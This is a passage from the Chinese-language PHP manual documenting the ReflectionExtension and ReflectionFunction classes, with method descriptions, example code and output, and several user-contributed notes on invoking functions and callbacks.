public getConstants ( void ) : array
public getDependencies ( void ) : array
public getFunctions ( void ) : array
public getINIEntries ( void ) : array
public getName ( void ) : string
public getVersion ( void ) : string
public info ( void ) : void
public isPersistent ( void ) : void
public isTemporary ( void ) : void
public __toString ( void ) : string
}

属性

name

扩展的名称，和 ReflectionExtension::getName() 方法所返回的一样。

Table of Contents

  • ReflectionExtension::__clone — Clones
  • ReflectionExtension::__construct — Constructs a ReflectionExtension
  • ReflectionExtension::export — Export
  • ReflectionExtension::getClasses — Gets classes
  • ReflectionExtension::getClassNames — 获取类名称
  • ReflectionExtension::getConstants — 获取常量
  • ReflectionExtension::getDependencies — 获取依赖
  • ReflectionExtension::getFunctions — 获取扩展中的函数
  • ReflectionExtension::getINIEntries — 获取ini配置
  • ReflectionExtension::getName — 获取扩展名称
  • ReflectionExtension::getVersion — 获取扩展版本号
  • ReflectionExtension::info — 输出扩展信息
  • ReflectionExtension::isPersistent — 返回扩展是否持久化载入
  • ReflectionExtension::isTemporary — 返回扩展是否是临时载入
  • ReflectionExtension::__toString — To string

User Contributed Notes

Anonymous 20-Mar-2016 03:01
<?php
  // Create an instance of the ReflectionProperty class
  $ext= new ReflectionExtension('standard');

  // Print out basic information
  printf(
      "Name        : %s\n".
      "Version     : %s\n".
      "Functions   : [%d] %s\n".
      "Constants   : [%d] %s\n".
      "INI entries : [%d] %s\n",
      $ext->getName(),
      $ext->getVersion() ? $ext->getVersion() : 'NO_VERSION',
      sizeof($ext->getFunctions()),
      var_export($ext->getFunctions(), 1),
      sizeof($ext->getConstants()),
      var_export($ext->getConstants(), 1),
      sizeof($ext->getINIEntries()),
      var_export($ext->getINIEntries(), 1)
  );
?>
Lubaev.K 20-Jun-2013 03:01
<?php
// The demonstration for the class "ReflectionExtension".

function REData(ReflectionExtension $re, $return=false) {

    defined('UNDEFINED') || define('UNDEFINED','%undefined%');
    $_data = [];

    $_data['getName:'] = $re->getName() ?: UNDEFINED;
    $_data['getVersion:'] = $re->getVersion() ?: UNDEFINED;
    $_data['info:'] = $re->info() ?: UNDEFINED;
    $_data['getClassName:'] = PHP_EOL.implode(", ",$re->getClassNames()) ?: UNDEFINED;
    foreach ($re->getConstants() as $key => $value) $_data['getConstants:'] .= "\n{$key}:={$value}";
    $_data['getDependencies:'] = $re->getDependencies() ?: UNDEFINED;
    $_data['getFunctions:'] = PHP_EOL.implode(", ",array_keys($re->getFunctions())) ?: UNDEFINED;
    $_data['getINIEntries:'] = $re->getINIEntries() ?: UNDEFINED;
    $_data['isPersistent:'] = $re->isPersistent() ?: UNDEFINED;
    $_data['isTemporary:'] = $re->isTemporary() ?: UNDEFINED;

    return print_r($_data, $return);
}

REData( new ReflectionExtension( 'Reflection' ) );
REData( new ReflectionExtension( 'zlib' ) );

// Reflection
// Reflection => enabled
// Version => $Id: 60f1e547a6dd00239162151e701566debdcee660 $
/*
Array
(
    [getName:] => Reflection
    [getVersion:] => $Id: 60f1e547a6dd00239162151e701566debdcee660 $
    [info:] => %undefined%
    [getClassName:] =>
ReflectionException, Reflection, Reflector, ReflectionFunctionAbstract, Reflecti
onFunction, ReflectionParameter, ReflectionMethod, ReflectionClass, ReflectionOb
ject, ReflectionProperty, ReflectionExtension, ReflectionZendExtension
    [getDependencies:] => %undefined%
    [getFunctions:] =>

    [getINIEntries:] => %undefined%
    [isPersistent:] => 1
    [isTemporary:] => %undefined%
)
*/
// zlib
// ZLib Support => enabled
// Stream Wrapper => compress.zlib://
// Stream Filter => zlib.inflate, zlib.deflate
// Compiled Version => 1.2.7
// Linked Version => 1.2.7
// Directive => Local Value => Master Value
// zlib.output_compression => Off => Off
// zlib.output_compression_level => -1 => -1
// zlib.output_handler => no value => no value
/*
Array
(
    [getName:] => zlib
    [getVersion:] => 2.0
    [info:] => %undefined%
    [getClassName:] =>

    [getConstants:] =>
FORCE_GZIP:=31
FORCE_DEFLATE:=15
ZLIB_ENCODING_RAW:=-15
ZLIB_ENCODING_GZIP:=31
ZLIB_ENCODING_DEFLATE:=15
    [getDependencies:] => %undefined%
    [getFunctions:] =>
readgzfile, gzrewind, gzclose, gzeof, gzgetc, gzgets, gzgetss, gzread, gzopen, g
zpassthru, gzseek, gztell, gzwrite, gzputs, gzfile, gzcompress, gzuncompress, gz
deflate, gzinflate, gzencode, gzdecode, zlib_encode, zlib_decode, zlib_get_codin
g_type, ob_gzhandler
    [getINIEntries:] => Array
        (
            [zlib.output_compression] =>
            [zlib.output_compression_level] => -1
            [zlib.output_handler] =>
        )

    [isPersistent:] => 1
    [isTemporary:] => %undefined%
)
*/


Clones

  • ? ReflectionExtension
  • ReflectionExtension::__construct ?
  • PHP Manual
  • ReflectionExtension
  • Clones

ReflectionExtension::__clone

(PHP 5, PHP 7)

ReflectionExtension::__clone — Clones

说明

final private ReflectionExtension::__clone ( void ) : void

clone方法阻止实例克隆。反射类实例不允许被克隆。

参数

此函数没有参数。

返回值

没有返回值，如果被调用将产生fatal错误。

参见

  • ReflectionExtension::__construct() - Constructs a ReflectionExtension
  • Object cloning

User Contributed Notes

There are no user contributed notes for this page.


Constructs a ReflectionExtension

  • ? ReflectionExtension::__clone
  • ReflectionExtension::export ?
  • PHP Manual
  • ReflectionExtension
  • Constructs a ReflectionExtension

ReflectionExtension::__construct

(PHP 5, PHP 7)

ReflectionExtension::__construct — Constructs a ReflectionExtension

说明

public ReflectionExtension::__construct ( string $name )

Construct a ReflectionExtension object.

参数

name

扩展的名称。

返回值

A ReflectionExtension object.

范例

Example #1 ReflectionExtension example

<?php
$ext = new ReflectionExtension('Reflection');

printf('Extension: %s (version: %s)', $ext->getName(), $ext->getVersion());
?>

以上例程的输出类似于：

Extension: Reflection (version: $Revision: 338648 $)

参见

  • ReflectionExtension::info() - 输出扩展信息
  • Constructors

User Contributed Notes

There are no user contributed notes for this page.


Export

  • ? ReflectionExtension::__construct
  • ReflectionExtension::getClasses ?
  • PHP Manual
  • ReflectionExtension
  • Export

ReflectionExtension::export

(PHP 5, PHP 7)

ReflectionExtension::export — Export

说明

public static ReflectionExtension::export ( string $name [, string $return = false ] ) : string

导出可以被反射的扩展。输出格式同CLI argument --re [extension].

参数

name

导出的反射。

return

设为 TRUE 时返回导出结果，设为 FALSE（默认值）则忽略返回。

返回值

如果参数 return 设为 TRUE，导出结果将作为 string 返回，否则返回 NULL。

参见

  • ReflectionExtension::info() - 输出扩展信息

User Contributed Notes

There are no user contributed notes for this page.


Gets classes

  • ? ReflectionExtension::export
  • ReflectionExtension::getClassNames ?
  • PHP Manual
  • ReflectionExtension
  • Gets classes

ReflectionExtension::getClasses

(PHP 5, PHP 7)

ReflectionExtension::getClasses — Gets classes

说明

public ReflectionExtension::getClasses ( void ) : array

从扩展中获取类列表。

参数

此函数没有参数。

返回值

返回一个ReflectionClass对象数组，包括扩展中所有类。如果扩展中没有类声明，将返回空数组。

范例

Example #1 ReflectionExtension::getClasses() example

<?php
$ext = new ReflectionExtension('XMLWriter');
var_dump($ext->getClasses());
?>

以上例程的输出类似于：

array(1) {
  ["XMLWriter"]=>
  &object(ReflectionClass)#2 (1) {
    ["name"]=>
    string(9) "XMLWriter"
  }
}

参见

  • ReflectionExtension::getClassNames() - 获取类名称

User Contributed Notes

There are no user contributed notes for this page.


获取类名称

  • ? ReflectionExtension::getClasses
  • ReflectionExtension::getConstants ?
  • PHP Manual
  • ReflectionExtension
  • 获取类名称

ReflectionExtension::getClassNames

(PHP 5, PHP 7)

ReflectionExtension::getClassNames — 获取类名称

说明

public ReflectionExtension::getClassNames ( void ) : array

获取扩展中的类名称列表。

参数

此函数没有参数。

返回值

返回类名称数组。如果扩展中没有类声明，将返回空数组。

范例

Example #1 ReflectionExtension::getClassNames() example

<?php
$ext = new ReflectionExtension('XMLWriter');
var_dump($ext->getClassNames());
?>

以上例程的输出类似于：

array(1) {
  [0]=>
  string(9) "XMLWriter"
}

参见

  • ReflectionExtension::getClasses() - Gets classes
  • ReflectionExtension::getName() - 获取扩展名称

User Contributed Notes

There are no user contributed notes for this page.


获取常量

  • ? ReflectionExtension::getClassNames
  • ReflectionExtension::getDependencies ?
  • PHP Manual
  • ReflectionExtension
  • 获取常量

ReflectionExtension::getConstants

(PHP 5, PHP 7)

ReflectionExtension::getConstants — 获取常量

说明

public ReflectionExtension::getConstants ( void ) : array

获取扩展中定义的常量。

参数

此函数没有参数。

返回值

返回一个以常量名称为索引的数组。

范例

Example #1 ReflectionExtension::getConstants() example

<?php
$ext = new ReflectionExtension('DOM');

print_r($ext->getConstants());
?>

以上例程的输出类似于：

Array
(
    [XML_ELEMENT_NODE] => 1
    [XML_ATTRIBUTE_NODE] => 2
    [XML_TEXT_NODE] => 3
    [XML_CDATA_SECTION_NODE] => 4
    [XML_ENTITY_REF_NODE] => 5
    [XML_ENTITY_NODE] => 6
    [XML_PI_NODE] => 7
    [XML_COMMENT_NODE] => 8
    [XML_DOCUMENT_NODE] => 9
    [XML_DOCUMENT_TYPE_NODE] => 10
    [XML_DOCUMENT_FRAG_NODE] => 11
    [XML_NOTATION_NODE] => 12
    [XML_HTML_DOCUMENT_NODE] => 13
    [XML_DTD_NODE] => 14
    [XML_ELEMENT_DECL_NODE] => 15
    [XML_ATTRIBUTE_DECL_NODE] => 16
    [XML_ENTITY_DECL_NODE] => 17
    [XML_NAMESPACE_DECL_NODE] => 18
    [XML_LOCAL_NAMESPACE] => 18
    [XML_ATTRIBUTE_CDATA] => 1
    [XML_ATTRIBUTE_ID] => 2
    [XML_ATTRIBUTE_IDREF] => 3
    [XML_ATTRIBUTE_IDREFS] => 4
    [XML_ATTRIBUTE_ENTITY] => 6
    [XML_ATTRIBUTE_NMTOKEN] => 7
    [XML_ATTRIBUTE_NMTOKENS] => 8
    [XML_ATTRIBUTE_ENUMERATION] => 9
    [XML_ATTRIBUTE_NOTATION] => 10
    [DOM_PHP_ERR] => 0
    [DOM_INDEX_SIZE_ERR] => 1
    [DOMSTRING_SIZE_ERR] => 2
    [DOM_HIERARCHY_REQUEST_ERR] => 3
    [DOM_WRONG_DOCUMENT_ERR] => 4
    [DOM_INVALID_CHARACTER_ERR] => 5
    [DOM_NO_DATA_ALLOWED_ERR] => 6
    [DOM_NO_MODIFICATION_ALLOWED_ERR] => 7
    [DOM_NOT_FOUND_ERR] => 8
    [DOM_NOT_SUPPORTED_ERR] => 9
    [DOM_INUSE_ATTRIBUTE_ERR] => 10
    [DOM_INVALID_STATE_ERR] => 11
    [DOM_SYNTAX_ERR] => 12
    [DOM_INVALID_MODIFICATION_ERR] => 13
    [DOM_NAMESPACE_ERR] => 14
    [DOM_INVALID_ACCESS_ERR] => 15
    [DOM_VALIDATION_ERR] => 16
)

参见

  • ReflectionExtension::getINIEntries() - 获取ini配置

User Contributed Notes

There are no user contributed notes for this page.


获取依赖

  • ? ReflectionExtension::getConstants
  • ReflectionExtension::getFunctions ?
  • PHP Manual
  • ReflectionExtension
  • 获取依赖

ReflectionExtension::getDependencies

(PHP 5 >= 5.1.3, PHP 7)

ReflectionExtension::getDependencies — 获取依赖

说明

public ReflectionExtension::getDependencies ( void ) : array

获取依赖，包括必需的、冲突的、可选的。 Gets dependencies, by listing both required and conflicting dependencies.

参数

此函数没有参数。

返回值

返回一个以依赖的扩展名称为索引的数组，每一项的取值为 Required、Optional 或者 Conflicts。

范例

Example #1 ReflectionExtension::getDependencies() example

<?php
$dom = new ReflectionExtension('dom');

print_r($dom->getDependencies());
?>

以上例程的输出类似于：

Array
(
    [libxml] => Required
    [domxml] => Conflicts
)

参见

  • ReflectionClass::getVersion()

User Contributed Notes

There are no user contributed notes for this page.


获取扩展中的函数

  • ? ReflectionExtension::getDependencies
  • ReflectionExtension::getINIEntries ?
  • PHP Manual
  • ReflectionExtension
  • 获取扩展中的函数

ReflectionExtension::getFunctions

(PHP 5, PHP 7)

ReflectionExtension::getFunctions — 获取扩展中的函数

说明

public ReflectionExtension::getFunctions ( void ) : array

获取扩展中定义的函数。

参数

此函数没有参数。

返回值

返回一个ReflectionFunction对象数组，数组索引为函数名。如果扩展中没有定义函数，将返回空数组。

范例

Example #1 ReflectionExtension::getFunctions() example

<?php
$dom = new ReflectionExtension('SimpleXML');

print_r($dom->getFunctions());
?>

以上例程的输出类似于：

Array
(
    [simplexml_load_file] => ReflectionFunction Object
        (
            [name] => simplexml_load_file
        )

    [simplexml_load_string] => ReflectionFunction Object
        (
            [name] => simplexml_load_string
        )

    [simplexml_import_dom] => ReflectionFunction Object
        (
            [name] => simplexml_import_dom
        )

)

参见

  • ReflectionExtension::getClasses() - Gets classes
  • get_extension_funcs() - 返回模块函数名称的数组

User Contributed Notes

There are no user contributed notes for this page.


获取ini配置

  • ? ReflectionExtension::getFunctions
  • ReflectionExtension::getName ?
  • PHP Manual
  • ReflectionExtension
  • 获取ini配置

ReflectionExtension::getINIEntries

(PHP 5, PHP 7)

ReflectionExtension::getINIEntries — 获取ini配置

说明

public ReflectionExtension::getINIEntries ( void ) : array

获取扩展在ini配置文件中的配置。

参数

此函数没有参数。

返回值

返回一个数组，数组索引是配置名称，值是配置值。

范例

Example #1 ReflectionExtension::getINIEntries() example

<?php
$ext = new ReflectionExtension('mysql');

print_r($ext->getINIEntries());
?>

以上例程的输出类似于：

Array
(
    [mysql.allow_persistent] => 1
    [mysql.max_persistent] => -1
    [mysql.max_links] => -1
    [mysql.default_host] =>
    [mysql.default_user] =>
    [mysql.default_password] =>
    [mysql.default_port] =>
    [mysql.default_socket] =>
    [mysql.connect_timeout] => 60
    [mysql.trace_mode] =>
    [mysql.allow_local_infile] => 1
    [mysql.cache_size] => 2000
)

参见

  • ini_get_all() - 获取所有配置选项
  • ReflectionExtension::getConstants() - 获取常量

User Contributed Notes

There are no user contributed notes for this page.


获取扩展名称

  • ? ReflectionExtension::getINIEntries
  • ReflectionExtension::getVersion ?
  • PHP Manual
  • ReflectionExtension
  • 获取扩展名称

ReflectionExtension::getName

(PHP 5, PHP 7)

ReflectionExtension::getName — 获取扩展名称

说明

public ReflectionExtension::getName ( void ) : string

获取扩展名称。

参数

此函数没有参数。

返回值

扩展名称。

范例

Example #1 ReflectionExtension::getName() example

<?php
$ext = new ReflectionExtension('mysqli');
var_dump($ext->getName());
?>

以上例程的输出类似于：

string(6) "mysqli"

参见

  • ReflectionExtension::getClassNames() - 获取类名称

User Contributed Notes

There are no user contributed notes for this page.


获取扩展版本号

  • ? ReflectionExtension::getName
  • ReflectionExtension::info ?
  • PHP Manual
  • ReflectionExtension
  • 获取扩展版本号

ReflectionExtension::getVersion

(PHP 5, PHP 7)

ReflectionExtension::getVersion — 获取扩展版本号

说明

public ReflectionExtension::getVersion ( void ) : string

获取扩展的版本号。

参数

此函数没有参数。

返回值

扩展的版本号。

范例

Example #1 ReflectionExtension::getVersion() example

<?php
$ext = new ReflectionExtension('mysqli');
var_dump($ext->getVersion());
?>

以上例程的输出类似于：

string(3) "0.1"

参见

  • ReflectionExtension::info() - 输出扩展信息

User Contributed Notes

There are no user contributed notes for this page.


输出扩展信息

  • ? ReflectionExtension::getVersion
  • ReflectionExtension::isPersistent ?
  • PHP Manual
  • ReflectionExtension
  • 输出扩展信息

ReflectionExtension::info

(PHP 5 >= 5.2.4, PHP 7)

ReflectionExtension::info — 输出扩展信息

说明

public ReflectionExtension::info ( void ) : void

输出"phpinfo()"信息中的扩展信息。

参数

此函数没有参数。

返回值

扩展信息。

范例

Example #1 ReflectionExtension::info() example

<?php
$ext = new ReflectionExtension('mysqli');
$ext->info();
?>

以上例程的输出类似于：

mysqli

MysqlI Support => enabled
Client API library version => mysqlnd 5.0.5-dev - 081106 - $Revision: 339009 $
Active Persistent Links => 0
Inactive Persistent Links => 0
Active Links => 0
Persistent cache => enabled
put_hits => 0
put_misses => 0
get_hits => 0
get_misses => 0
size => 2000
free_items => 2000
references => 2

Directive => Local Value => Master Value
mysqli.max_links => Unlimited => Unlimited
mysqli.max_persistent => Unlimited => Unlimited
mysqli.allow_persistent => On => On
mysqli.default_host => no value => no value
mysqli.default_user => no value => no value
mysqli.default_pw => no value => no value
mysqli.default_port => 3306 => 3306
mysqli.default_socket => no value => no value
mysqli.reconnect => Off => Off
mysqli.allow_local_infile => On => On
mysqli.cache_size => 2000 => 2000

参见

  • ReflectionExtension::getName() - 获取扩展名称
  • phpinfo() - 输出关于 PHP 配置的信息

User Contributed Notes

There are no user contributed notes for this page.


返回扩展是否持久化载入

  • ? ReflectionExtension::info
  • ReflectionExtension::isTemporary ?
  • PHP Manual
  • ReflectionExtension
  • 返回扩展是否持久化载入

ReflectionExtension::isPersistent

(PHP 5 >= 5.4.0, PHP 7)

ReflectionExtension::isPersistent — 返回扩展是否持久化载入

说明

public ReflectionExtension::isPersistent ( void ) : void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

扩展在extension配置中被载入返回TRUE ，否则返回 FALSE。

参见

  • ReflectionExtension::isTemporary() - 返回扩展是否是临时载入

User Contributed Notes

There are no user contributed notes for this page.


返回扩展是否是临时载入

  • ? ReflectionExtension::isPersistent
  • ReflectionExtension::__toString ?
  • PHP Manual
  • ReflectionExtension
  • 返回扩展是否是临时载入

ReflectionExtension::isTemporary

(PHP 5 >= 5.4.0, PHP 7)

ReflectionExtension::isTemporary — 返回扩展是否是临时载入

说明

public ReflectionExtension::isTemporary ( void ) : void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

如果扩展被dl()载入则返回TRUE ，否则返回 FALSE 。

参见

  • ReflectionExtension::isPersistent() - 返回扩展是否持久化载入

User Contributed Notes

There are no user contributed notes for this page.


To string

  • ? ReflectionExtension::isTemporary
  • ReflectionFunction ?
  • PHP Manual
  • ReflectionExtension
  • To string

ReflectionExtension::__toString

(PHP 5, PHP 7)

ReflectionExtension::__toString — To string

说明

public ReflectionExtension::__toString ( void ) : string

以string形式返回扩展的反射信息。同ReflectionExtension::export()return参数设置为TRUE。

参数

此函数没有参数。

返回值

返回扩展的反射信息，同ReflectionExtension::export()。

参见

  • ReflectionExtension::__construct() - Constructs a ReflectionExtension
  • ReflectionExtension::export() - Export
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionFunction 类

(PHP 5, PHP 7)

简介

ReflectionFunction 类报告了一个函数的有关信息。

类摘要

ReflectionFunction extends ReflectionFunctionAbstract implements Reflector {
/* 常量 */
const integer IS_DEPRECATED = 262144 ;
/* 属性 */
public $name ;
/* 方法 */
public __construct ( mixed $name )
public static export ( string $name [, string $return ] ) : string
public getClosure ( void ) : Closure
public invoke ([ mixed $... ] ) : mixed
public invokeArgs ( array $args ) : mixed
public isDisabled ( void ) : bool
public __toString ( void ) : string
/* 继承的方法 */
final private ReflectionFunctionAbstract::__clone ( void ) : void
public ReflectionFunctionAbstract::getClosureScopeClass ( void ) : ReflectionClass
public ReflectionFunctionAbstract::getClosureThis ( void ) : object
public ReflectionFunctionAbstract::getDocComment ( void ) : string
public ReflectionFunctionAbstract::getEndLine ( void ) : int
public ReflectionFunctionAbstract::getExtension ( void ) : ReflectionExtension
public ReflectionFunctionAbstract::getExtensionName ( void ) : string
public ReflectionFunctionAbstract::getFileName ( void ) : string
public ReflectionFunctionAbstract::getName ( void ) : string
public ReflectionFunctionAbstract::getNamespaceName ( void ) : string
public ReflectionFunctionAbstract::getNumberOfParameters ( void ) : int
public ReflectionFunctionAbstract::getNumberOfRequiredParameters ( void ) : int
public ReflectionFunctionAbstract::getParameters ( void ) : array
public ReflectionFunctionAbstract::getReturnType ( void ) : ReflectionType
public ReflectionFunctionAbstract::getShortName ( void ) : string
public ReflectionFunctionAbstract::getStartLine ( void ) : int
public ReflectionFunctionAbstract::getStaticVariables ( void ) : array
public ReflectionFunctionAbstract::hasReturnType ( void ) : bool
public ReflectionFunctionAbstract::inNamespace ( void ) : bool
public ReflectionFunctionAbstract::isClosure ( void ) : bool
public ReflectionFunctionAbstract::isDeprecated ( void ) : bool
public ReflectionFunctionAbstract::isGenerator ( void ) : bool
public ReflectionFunctionAbstract::isInternal ( void ) : bool
public ReflectionFunctionAbstract::isUserDefined ( void ) : bool
public ReflectionFunctionAbstract::isVariadic ( void ) : bool
public ReflectionFunctionAbstract::returnsReference ( void ) : bool
abstract public ReflectionFunctionAbstract::__toString ( void ) : void
}

属性

name

函数的名称。只读，并在尝试赋值的时候会抛出 ReflectionException。

预定义常量

ReflectionFunction 修饰符

ReflectionFunction::IS_DEPRECATED

指示了不建议使用的函数。

Table of Contents

  • ReflectionFunction::__construct — Constructs a ReflectionFunction object
  • ReflectionFunction::export — Exports function
  • ReflectionFunction::getClosure — Returns a dynamically created closure for the function
  • ReflectionFunction::invoke — Invokes function
  • ReflectionFunction::invokeArgs — Invokes function args
  • ReflectionFunction::isDisabled — Checks if function is disabled
  • ReflectionFunction::__toString — To string

User Contributed Notes

Lorenz R.S. 12-Aug-2011 01:24
Here is a concise example of ReflectionFunction usage for Parameter Reflection / introspection (e.g. to automatically generate API descriptions)

<?php
$properties = $reflector->getProperties();
$refFunc = new ReflectionFunction('preg_replace');
foreach( $refFunc->getParameters() as $param ){
    //invokes ■ReflectionParameter::__toString
    print $param;
}
?>

prints:

Parameter #0 [ <required> $regex ]
Parameter #1 [ <required> $replace ]
Parameter #2 [ <required> $subject ]
Parameter #3 [ <optional> $limit ]
Parameter #4 [ <optional> &$count ]


Constructs a ReflectionFunction object

  • ? ReflectionFunction
  • ReflectionFunction::export ?
  • PHP Manual
  • ReflectionFunction
  • Constructs a ReflectionFunction object

ReflectionFunction::__construct

(PHP 5, PHP 7)

ReflectionFunction::__construct — Constructs a ReflectionFunction object

说明

public ReflectionFunction::__construct ( mixed $name )

Constructs a ReflectionFunction object.

参数

name

The name of the function to reflect or a closure.

返回值

没有返回值。

错误／异常

A ReflectionException if the name parameter does not contain a valid function.

更新日志

版本 | 说明
5.3.0 | name can now be a closure.

范例

Example #1 ReflectionFunction::__construct() example

<?php
/**
 * A simple counter
 *
 * @return    int
 */
function counter1()
{
    static $c = 0;
    return ++$c;
}

/**
 * Another simple counter
 *
 * @return    int
 */
$counter2 = function()
{
    static $d = 0;
    return ++$d;

};

function dumpReflectionFunction($func)
{
    // Print out basic information
    printf(
        "\n\n===> The %s function '%s'\n".
        "     declared in %s\n".
        "     lines %d to %d\n",
        $func->isInternal() ? 'internal' : 'user-defined',
        $func->getName(),
        $func->getFileName(),
        $func->getStartLine(),
        $func->getEndline()
    );

    // Print documentation comment
    printf("---> Documentation:\n %s\n", var_export($func->getDocComment(), 1));

    // Print static variables if existant
    if ($statics = $func->getStaticVariables())
    {
        printf("---> Static variables: %s\n", var_export($statics, 1));
    }
}

// Create an instance of the ReflectionFunction class
dumpReflectionFunction(new ReflectionFunction('counter1'));
dumpReflectionFunction(new ReflectionFunction($counter2));
?>

以上例程的输出类似于：

===> The user-defined function 'counter1'
     declared in Z:\reflectcounter.php
     lines 7 to 11
---> Documentation:
 '/**
 * A simple counter
 *
 * @return    int
 */'
---> Static variables: array (
  'c' => 0,
)

===> The user-defined function '{closure}'
     declared in Z:\reflectcounter.php
     lines 18 to 23
---> Documentation:
 '/**
 * Another simple counter
 *
 * @return    int
 */'
---> Static variables: array (
  'd' => 0,
)

参见

  • ReflectionMethod::__construct() - ReflectionMethod 的构造函数
  • Constructors

User Contributed Notes

There are no user contributed notes for this page.


Exports function

  • ? ReflectionFunction::__construct
  • ReflectionFunction::getClosure ?
  • PHP Manual
  • ReflectionFunction
  • Exports function

ReflectionFunction::export

(PHP 5, PHP 7)

ReflectionFunction::export — Exports function

说明

public static ReflectionFunction::export ( string $name [, string $return ] ) : string

Exports a Reflected function.

参数

name

导出的反射。

return

设为 TRUE 时返回导出结果，设为 FALSE（默认值）则忽略返回。

返回值

如果参数 return 设为 TRUE，导出结果将作为 string 返回，否则返回 NULL。

参见

  • ReflectionFunction::invoke() - Invokes function

User Contributed Notes

hytest at gmail dot com 22-Nov-2011 08:04
Example:

<?php
function title($title, $name)
{
    return sprintf("%s. %s\r\n", $title, $name);
}

echo ReflectionFunction::export('title',true);

?>

Output:

Function [ <user> function title ] {
  @@ /path/to/file.php 2 - 5

  - Parameters [2] {
    Parameter #0 [ <required> $title ]
    Parameter #1 [ <required> $name ]
  }
}


Returns a dynamically created closure for the function

  • ? ReflectionFunction::export
  • ReflectionFunction::invoke ?
  • PHP Manual
  • ReflectionFunction
  • Returns a dynamically created closure for the function

ReflectionFunction::getClosure

(PHP 5 >= 5.4.0, PHP 7)

ReflectionFunction::getClosure — Returns a dynamically created closure for the function

说明

public ReflectionFunction::getClosure ( void ) : Closure

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns Closure. Returns NULL in case of an error.

User Contributed Notes

php dot net-bug at spamhereplease dot com 23-Nov-2013 05:34
If you have a callback that is going to be invoked often, you can use this method (and the related method for ReflectProperty) to get a closure that will execute at near native speed.

Some benchmark comparisons with php 5.4.22 on ubuntu:

[function call]      [time]     [%slower]
function():          0.09527      0%
Reflection::Closure: 0.09729      2%
$string():           0.102641     8%
Reflection:          0.197122   107%
call_user_func:      0.214045   125%

[method call]        [time]  [% slower] [%vs func]
->method():          0.103611    0%       9%
Reflection::Closure: 0.1043      1%       9%
$string():           0.109885    6%      15%
Reflection:          0.20451    97%     115%
call_user_func:      0.219205  112%     130%


Invokes function

  • ? ReflectionFunction::getClosure
  • ReflectionFunction::invokeArgs ?
  • PHP Manual
  • ReflectionFunction
  • Invokes function

ReflectionFunction::invoke

(PHP 5, PHP 7)

ReflectionFunction::invoke — Invokes function

说明

public ReflectionFunction::invoke ([ mixed $... ] ) : mixed

Invokes a reflected function.

参数

...

The passed in argument list. It accepts a variable number of arguments which are passed to the function much like call_user_func() is.

返回值

Returns the result of the invoked function call.

范例

Example #1 ReflectionFunction::invoke() example

<?php
function title($title, $name)
{
    return sprintf("%s. %s\r\n", $title, $name);
}

$function = new ReflectionFunction('title');

echo $function->invoke('Dr', 'Phil');
?>

以上例程会输出：

Dr. Phil

注释

Note:

如果函数有参数需为引用，那么它们必须以引用方式传入。

参见

  • ReflectionFunction::export() - Exports function
  • __invoke()
  • call_user_func() - 把第一个参数作为回调函数调用

User Contributed Notes

spark at limao dot com dot br 10-Jun-2011 10:55
I know Reflections classes have a lot of power, but sometimes all we need is to store a annonymus function or even create a simple callback somewhere.

so here it is, the Callback class:
<?php
    class Callback{
        private $name = false;

        public function Callback($obj,$call=false){
            $name = array($obj);
            if($call) $name[] = $call;

            $this->name = $name;
        }
        public function invoke($params=array()){
            return call_user_func_array($this->name,$params);
        }
    }
?>

Usage:
<?php
    function sayName(){
        return "goku";
    }

    $myVar = new Callback("sayName");

    echo "Hi, I am ".$myVar->invoke()."!";

    //also works with methods: new Callback($obj,"method");
?>


Invokes function args

  • ? ReflectionFunction::invoke
  • ReflectionFunction::isDisabled ?
  • PHP Manual
  • ReflectionFunction
  • Invokes function args

ReflectionFunction::invokeArgs

(PHP 5 >= 5.1.2, PHP 7)

ReflectionFunction::invokeArgs — Invokes function args

说明

public ReflectionFunction::invokeArgs ( array $args ) : mixed

Invokes the function and pass its arguments as array.

参数

args

The passed arguments to the function as an array, much like call_user_func_array() works.

返回值

Returns the result of the invoked function

范例

Example #1 ReflectionFunction::invokeArgs() example

<?php
function title($title, $name)
{
    return sprintf("%s. %s\r\n", $title, $name);
}

$function = new ReflectionFunction('title');

echo $function->invokeArgs(array('Dr', 'Phil'));
?>

以上例程会输出：

Dr. Phil

Example #2 ReflectionFunction::invokeArgs() with references example

<?php
function get_false_conditions(array $conditions, array &$false_conditions)
{
    foreach ($conditions as $condition) {
        if (!$condition) {
            $false_conditions[] = $condition;
        }
    }
}

$function_ref     = new ReflectionFunction('get_false_conditions');

$conditions       = array(true, false, -1, 0, 1);
$false_conditions = array();

$function_ref->invokeArgs(array($conditions, &$false_conditions));

var_dump($false_conditions);
?>

以上例程会输出：

array(2) {
  [0]=>
  bool(false)
  [1]=>
  int(0)
}

注释

Note:

如果函数有参数需为引用，那么它们必须以引用方式传入。

参见

  • ReflectionFunction::invoke() - Invokes function
  • ReflectionFunctionAbstract::getNumberOfParameters() - 获取参数数目
  • __invoke()
  • call_user_func_array() - 调用回调函数，并把一个数组参数作为回调函数的参数

User Contributed Notes

theyourcomputer at gmail dot com 05-Dec-2017 01:40
In the case of call_user_func_array(), if you were to pass around an anonymous function and reference $this within the anonymous function, $this will faithfully refer to the class in the context in which the function was defined. Using ReflectionFunction::invokeArgs() does not seem to retain its original context--yeah, even if you bind the anonymous function before invoking. I recommend call_user_func_array() where context is a concern.
Andrea Giammarchi 16-Feb-2008 06:41
I encountered a weird problem with ReflectionFunction, described in ticket 44139 of PHP Bugs.

If for some reason you need to call with invoke, or invokeArgs, a function like array_unshift (that accepts internally the array by reference) you could use this code to avoid the generated warning or fatal error.

<?php
function unshift(){
    $ref        = new ReflectionFunction('array_unshift');
    $arguments    = func_get_args();
    return        $ref->invokeArgs(array_merge(array(&$this->arr), $arguments));
}
?>

I don't know about performances (you can create an array manually too, starting from array(&$this->something) and adding arguments). However, it seems to work correctly without problems, at least until the send by reference will be usable with one single value ...


Checks if function is disabled

  • ? ReflectionFunction::invokeArgs
  • ReflectionFunction::__toString ?
  • PHP Manual
  • ReflectionFunction
  • Checks if function is disabled

ReflectionFunction::isDisabled

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunction::isDisabled — Checks if function is disabled

说明

public ReflectionFunction::isDisabled ( void ) : bool

Checks if the function is disabled, via the disable_functions directive.

参数

此函数没有参数。

返回值

TRUE if it's disable, otherwise FALSE

参见

  • ReflectionFunctionAbstract::isUserDefined() - 检查是否是用户定义
  • disable_functions directive

User Contributed Notes

There are no user contributed notes for this page.


To string

